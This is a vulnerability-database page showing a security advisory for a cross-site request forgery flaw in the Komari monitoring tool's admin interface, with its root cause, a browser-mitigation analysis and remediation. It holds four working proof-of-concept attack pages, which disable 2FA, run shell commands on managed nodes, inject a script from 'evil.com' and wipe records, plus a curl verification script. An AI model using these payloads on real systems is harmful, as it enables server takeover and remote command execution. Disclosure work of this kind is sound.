GHSA-hxjg-93wc-h8p8High· 8.8▾ Twilight

Komari: Management Interface CSRF

▾ Twilight zone — High severity, or a signal on a lesser flaw

Depth score48/ 100 · Moderate

impact 48.4 · likelihood 0 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Sep 9, 2026

Updated

Sep 17, 2026

CVSS

8.8

Vendor

komari-monitor

Product

github.com/komari-monitor/komari

CWE

CWE-918

Depth score

48 · Moderate

EPSS

—

Platforms

—

Source

OSV

Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

2 events · 8 days

Sep 9, 2026Published
Disclosed via OSV
Sep 17, 2026Record revised
Last analysed / modified upstream

komari-monitor CWE-918 #osv #go #ghsa

Affected

github.com/komari-monitor/komari < 0.0.0-20260609084633-98122fa4d110

Patched in

github.com/komari-monitor/komari 0.0.0-20260609084633-98122fa4d110

Full technical detail▾

Overview

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.

Scenario	Exploitable
Cross-site HTML (modern browsers)	✗ Blocked by `SameSite=Lax`
Cross-site HTML (Chrome <80 / legacy browsers)	✓
Same-origin context (Browser Console / existing XSS)	✓
Man-in-the-middle over HTTP (`Secure=false`)	✓

High-Impact Operations Reachable via CSRF

Endpoint	Method	Impact
`/api/admin/task/exec`	POST	Execute arbitrary shell commands on managed nodes
`/api/admin/2fa/disable`	POST	Disable administrator two-factor authentication
`/api/admin/settings/`	POST	Modify system configuration
`/api/admin/upload/backup`	POST	Upload a malicious backup
`/api/admin/record/clear/all`	POST	Delete all monitoring records
`/api/admin/client/:uuid/edit`	POST	Modify client configuration
`/api/admin/client/:uuid/remove`	POST	Remove managed clients
`/api/admin/session/remove/all`	POST	Invalidate all active sessions
`/api/admin/settings/cloudflared/start`	POST	Start a Cloudflared tunnel

PoC 1 — Disable 2FA

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>

PoC 2 — Remote Command Execution

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>

PoC 3 — Modify System Configuration

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>

PoC 4 — Clear All Monitoring Records

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/record/clear/all"
      target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>

Verification Script

#!/bin/bash
KOMARI="${1:-https://komari.example.com}"

echo "=== CSRF Verification ==="

echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
  -X POST "$KOMARI/api/public/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}' | grep -i 'set-cookie'

echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.com" \
  "$KOMARI/api/public/config" | grep -i 'access-control'

echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$KOMARI/api/admin/settings/" \
  -H "Content-Type: application/json" \
  -H "Origin: https://evil.com" \
  -d '{}')

echo "    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."

Affected packages

github.com/komari-monitor/komari < 0.0.0-20260609084633-98122fa4d110

Remediation

Upgrade to a patched release:

github.com/komari-monitor/komari 0.0.0-20260609084633-98122fa4d110

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#osv#go#ghsa

← Back to feed